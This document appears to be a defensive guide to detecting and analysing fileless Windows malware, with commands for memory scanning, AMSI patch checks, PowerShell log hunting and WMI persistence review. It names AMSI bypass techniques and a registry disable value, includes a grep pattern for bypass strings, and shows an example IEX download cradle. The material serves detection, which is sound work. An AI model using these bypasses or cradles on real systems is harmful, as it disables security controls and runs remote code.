Fileless Malware Analysis
Detect, extract, and analyze malware that lives entirely in memory — no files on disk. Covers AMSI bypass techniques, reflective loading, process injection variants, and LOLBin abuse chains.
Quick Reference
# Scan for injected code in running processes
pe-sieve.exe /pid <PID> /dir ./dump/ /shellc /iat 3
# Scan ALL processes at once
hollows_hunter.exe /dir ./hunt_results/
# Dump suspicious process memory
procdump.exe -ma <PID> process.dmp
# Search memory dump for PE headers
python3 -c "
d=open('process.dmp','rb').read()
import re
for m in re.finditer(b'MZ',d):
off=m.start()
if d[off+0x3c:off+0x40] != b'\x00'*4:
print(f'PE header at offset 0x{off:x}')
"
# Extract PowerShell from event logs
wevtutil qe Microsoft-Windows-PowerShell/Operational /f:text /c:50
MITRE ATT&CK Mapping
| Technique | ID | How It Appears |
|---|---|---|
| PowerShell | T1059.001 | Encoded cradles, AMSI bypass, download-execute chains |
| Reflective Code Loading | T1620 | Assembly.Load(byte[]), ReflectiveLoader in shellcode, Donut payloads |
| Process Injection | T1055 | Classic injection, process hollowing (T1055.012), thread hijacking |
| Impair Defenses: AMSI | T1562.001 | Patching AmsiScanBuffer, CLR hooking, registry disable |
| WMI Event Subscription | T1546.003 | Fileless persistence via WMI consumers |
| Signed Binary Proxy | T1218 | mshta, rundll32, regsvr32, msbuild LOLBin execution |
1. Detect In-Memory Artifacts
Identify processes with injected or hollowed code regions.
# pe-sieve — scan single process for implants
pe-sieve.exe /pid <PID> /shellc /threads /iat 3 /dir ./pe_sieve_out/
# Output: report.json with findings per memory region
# hollows_hunter — system-wide sweep
hollows_hunter.exe /dir ./hh_out/ /shellc /loop
# Scans every process; reports: hollowed, implanted, unreachable
# Process Hacker — manual inspection (GUI)
# 1. Open Process Hacker → Properties on suspect process
# 2. Memory tab → look for:
# - RWX regions (should be rare in legit processes)
# - Private regions with PE headers (MZ signature)
# - Mapped regions not backed by a file
# 3. Threads tab → look for:
# - Threads with start address in unbacked memory
# - Threads in ntdll!RtlUserThreadStart pointing to RWX region
# Volatility 3 — analyze memory image
vol3 -f memory.raw windows.malfind
vol3 -f memory.raw windows.vadinfo --pid <PID>
vol3 -f memory.raw windows.hollowfind
2. AMSI Bypass Analysis
Understand and detect AMSI patching techniques.
# Common AMSI bypass: patching AmsiScanBuffer in amsi.dll
# The bypass writes 0xC3 (RET) or specific bytes to the function prolog
# Detection: compare amsi.dll in-memory vs on-disk
# Check if AMSI is patched in a process
python3 << 'EOF'
import ctypes, ctypes.wintypes
# Load amsi.dll and get AmsiScanBuffer address
amsi = ctypes.windll.LoadLibrary("amsi.dll")
addr = ctypes.windll.kernel32.GetProcAddress(amsi._handle, b"AmsiScanBuffer")
# Read first bytes — should NOT be 0xC3 (ret) or 0x80 (cmp byte patched)
buf = (ctypes.c_byte * 8)()
ctypes.memmove(buf, addr, 8)
first_bytes = bytes(buf)
print(f"AmsiScanBuffer prolog: {first_bytes.hex()}")
if first_bytes[0] == 0xC3 or first_bytes[:3] == bytes([0x48, 0x31, 0xC0]):
print("[!] AMSI IS PATCHED — bypass active")
else:
print("[+] AMSI appears intact")
EOF
# ETW-based AMSI logging analysis
# Check for disabled ETW providers (another bypass vector)
logman query providers | findstr /i "amsi\|antimalware"
# Scan PowerShell scriptblock logs for bypass patterns
# Event Log: Microsoft-Windows-PowerShell/Operational, Event ID 4104
wevtutil qe "Microsoft-Windows-PowerShell/Operational" /q:"*[System[EventID=4104]]" /f:text /c:100 > scriptblocks.txt
grep -iE "AmsiScanBuffer|amsiInitFailed|AmsiUtils|Reflection\.Assembly|VirtualProtect|Marshal\.Copy" scriptblocks.txt
# Known AMSI bypass signatures to hunt
# 1. Matt Graeber's reflection: [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
# 2. Direct patch: VirtualProtect + Marshal.Copy on AmsiScanBuffer
# 3. amsiInitFailed field set to $true
# 4. CLR hooking via profiler DLL
# 5. Registry disable: HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable=0
3. Reflective DLL Injection Analysis
Detect and extract reflectively loaded DLLs.
# Reflective loaders don't use LoadLibrary — they parse PE headers manually
# Key indicators:
# - RWX memory region with PE header
# - No corresponding file on disk
# - Thread start address in unbacked memory
# pe-sieve dump of reflective DLL
pe-sieve.exe /pid <PID> /dir ./dump/ /imp 3 /shellc
# Reconstructs import table from the dump
# Manual extraction from process memory
python3 << 'EOF'
import ctypes
from ctypes import wintypes
PROCESS_VM_READ = 0x0010
PROCESS_QUERY_INFORMATION = 0x0400
pid = <PID>
kernel32 = ctypes.windll.kernel32
handle = kernel32.OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, False, pid)
# Walk memory regions looking for MZ headers in RWX pages
addr = 0
while addr < 0x7FFFFFFFFFFF:
mbi = ctypes.create_string_buffer(48)
if kernel32.VirtualQueryEx(handle, addr, mbi, 48) == 0:
break
# Parse MEMORY_BASIC_INFORMATION
base = int.from_bytes(mbi[0:8], 'little')
size = int.from_bytes(mbi[24:32], 'little')
protect = int.from_bytes(mbi[32:36], 'little')
state = int.from_bytes(mbi[16:20], 'little')
# PAGE_EXECUTE_READWRITE = 0x40, MEM_COMMIT = 0x1000
if state == 0x1000 and protect == 0x40 and size > 0x1000:
buf = (ctypes.c_char * min(size, 0x200))()
read = ctypes.c_size_t()
kernel32.ReadProcessMemory(handle, base, buf, len(buf), ctypes.byref(read))
if buf.raw[:2] == b'MZ':
print(f"[!] PE in RWX at 0x{base:x} size=0x{size:x}")
addr = base + size
kernel32.CloseHandle(handle)
EOF
# Volatility malfind — finds injected code regions
vol3 -f memory.raw windows.malfind --pid <PID> --dump --dump-dir ./malfind_dumps/
4. Process Hollowing Detection
# Detect hollowed processes: legitimate image path but injected code
# Key sign: PEB ImageBaseAddress differs from on-disk PE base
# Volatility hollow process detection
vol3 -f memory.raw windows.hollowfind
# Manual check with pe-sieve
pe-sieve.exe /pid <PID> /hooks /iat 3 /dir ./hollow_check/
# Look for "replaced" status in report.json
# Sysmon-based detection (Event ID 25 — process tampering)
wevtutil qe "Microsoft-Windows-Sysmon/Operational" /q:"*[System[EventID=25]]" /f:text /c:20
# Common hollowing targets (watch these processes):
# svchost.exe, explorer.exe, notepad.exe, dllhost.exe, RuntimeBroker.exe
# If their in-memory image doesn't match disk → hollowed
5. PowerShell Cradle Chain Reconstruction
# Extract full PowerShell execution chain from logs
# ScriptBlock Logging (Event ID 4104) captures decoded content
# Export all scriptblock events
powershell -c "Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' | Where-Object {$_.Id -eq 4104} | Select-Object -Property TimeCreated,Message | Export-Csv scriptblocks.csv"
# Common fileless chain pattern:
# Stage 0: mshta/wscript/shortcut → powershell -enc <base64>
# Stage 1: IEX(New-Object Net.WebClient).DownloadString('http://...')
# Stage 2: Reflective load .NET assembly or shellcode via [System.Reflection.Assembly]::Load()
# Stage 3: In-memory C2 beacon (Cobalt Strike, Sliver, etc.)
# Decode base64 PowerShell
python3 << 'EOF'
import base64
encoded = "<BASE64_FROM_CMDLINE>"
decoded = base64.b64decode(encoded).decode('utf-16-le')
print(decoded)
# Extract URLs
import re
urls = re.findall(r'https?://[^\s'"]+', decoded)
for u in urls:
print(f" URL: {u}")
EOF
# Reconstruct WMI persistence (fileless persistence mechanism)
wmic /namespace:\\root\subscription path __EventFilter list full
wmic /namespace:\\root\subscription path CommandLineEventConsumer list full
wmic /namespace:\\root\subscription path __FilterToConsumerBinding list full
6. CLR-Hosted Payload Extraction
# .NET assemblies loaded via Assembly.Load(byte[]) leave CLR artifacts
# Detect: ETW CLR events or inspect AppDomain loaded assemblies
# List loaded assemblies in a process using ClrMD
python3 << 'EOF'
# Use clrmd via pythonnet or dump with SOS
# Alternative: use procdump + dotnet-dump
import subprocess
subprocess.run(["procdump", "-ma", str(<PID>), "clr_dump.dmp"])
# Then analyze with dotnet-dump
subprocess.run(["dotnet-dump", "analyze", "clr_dump.dmp"],
input=b"clrmodules\ndumpheap -stat -type System.Reflection.Assembly\nexit\n")
EOF
# WinDbg + SOS approach for CLR inspection
# .loadby sos clr
# !DumpDomain — lists all AppDomains and loaded assemblies
# !DumpAssembly <addr> — details of a specific assembly
# !SaveModule <addr> recovered.dll — save module to disk
# ETW provider for CLR loading events
logman create trace clr_trace -p {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4} 0x8 -o clr_events.etl
# Keywords 0x8 = LoaderKeyword — captures Assembly.Load events
Tools & Resources
| Tool | Purpose | Install |
|---|---|---|
| pe-sieve | Detect implants/hollowing in running processes | github.com/hasherezade/pe-sieve |
| hollows_hunter | System-wide pe-sieve scan | github.com/hasherezade/hollows_hunter |
| Process Hacker | Advanced process inspector (GUI) | processhacker.sourceforge.io |
| Volatility 3 | Memory image forensics | github.com/volatilityfoundation/volatility3 |
| Moneta | Detect in-memory malware artifacts | github.com/forrest-orr/moneta |
| Sysmon | Windows system activity logging | docs.microsoft.com/sysinternals/sysmon |
| procdump | Process memory dumper | docs.microsoft.com/sysinternals/procdump |
| dotnet-dump | .NET managed dump analyzer | dotnet tool install -g dotnet-dump |
| ETWExplorer | ETW provider browser | github.com/zodiacon/EtwExplorer |
Detection Signatures
| Indicator | Description | Detection |
|---|---|---|
| RWX memory region with MZ header | Reflectively loaded PE | pe-sieve /shellc; Volatility malfind |
AmsiScanBuffer patched prolog |
AMSI bypass active | Compare in-memory vs on-disk amsi.dll |
PowerShell -enc with long base64 |
Encoded PowerShell payload | Sysmon Event ID 1, CommandLine regex |
| WMI event subscription | Fileless persistence | WMI query __EventFilter / CommandLineEventConsumer |
| Thread start in unbacked memory | Injected thread | Process Hacker threads tab; Moneta scan |
csc.exe / msbuild.exe with no project |
LOLBin code compilation | Sysmon: parent process analysis |
| High scriptblock Event ID 4104 volume | PowerShell cradle chain | SIEM correlation on 4104 burst |
Error Handling & Edge Cases
| Issue | Resolution |
|---|---|
| pe-sieve misses injected .NET | Use /dotnet flag; .NET assemblies need CLR-aware scanning |
| Process terminates before dump | Use Sysmon + scriptblock logging for post-mortem; configure proactive ETW tracing |
| AMSI patched before logging starts | Use kernel-mode ETW or driver-based monitoring (e.g., Microsoft Defender ATP kernel sensor) |
| PowerShell constrained language mode | Attacker may bypass via Add-Type with inline C# or CMSTP/MSBuild LOLBins |
| Memory image too large for Volatility | Use --pid to scope analysis; increase system swap |
| Anti-forensics: timestomped/cleared logs | Cross-reference with NTFS $MFT, Sysmon, and network logs |
| Kernel-mode injection (driver-level) | Out of scope for user-mode tools — see reverser/rootkit-analysis |
Decision Gate
IF suspicious process has RWX regions or pe-sieve/hollows_hunter hits:
→ Dump process memory (procdump -ma)
→ Extract implants with pe-sieve /imp 3
→ Identify payload type (.NET → dnSpy; native → Ghidra)
→ Trace injection chain (parent process, command line, scriptblocks)
ELSE IF PowerShell scriptblock logs show encoded/obfuscated content:
→ Decode all stages
→ Identify download URLs and in-memory payloads
→ Check for AMSI bypass indicators
ELSE IF WMI persistence found:
→ Extract consumer script/command
→ Trace event filter trigger conditions
→ Remove binding + consumer + filter
ELSE:
→ Enable Sysmon + scriptblock logging + ETW
→ Re-run detection after activity window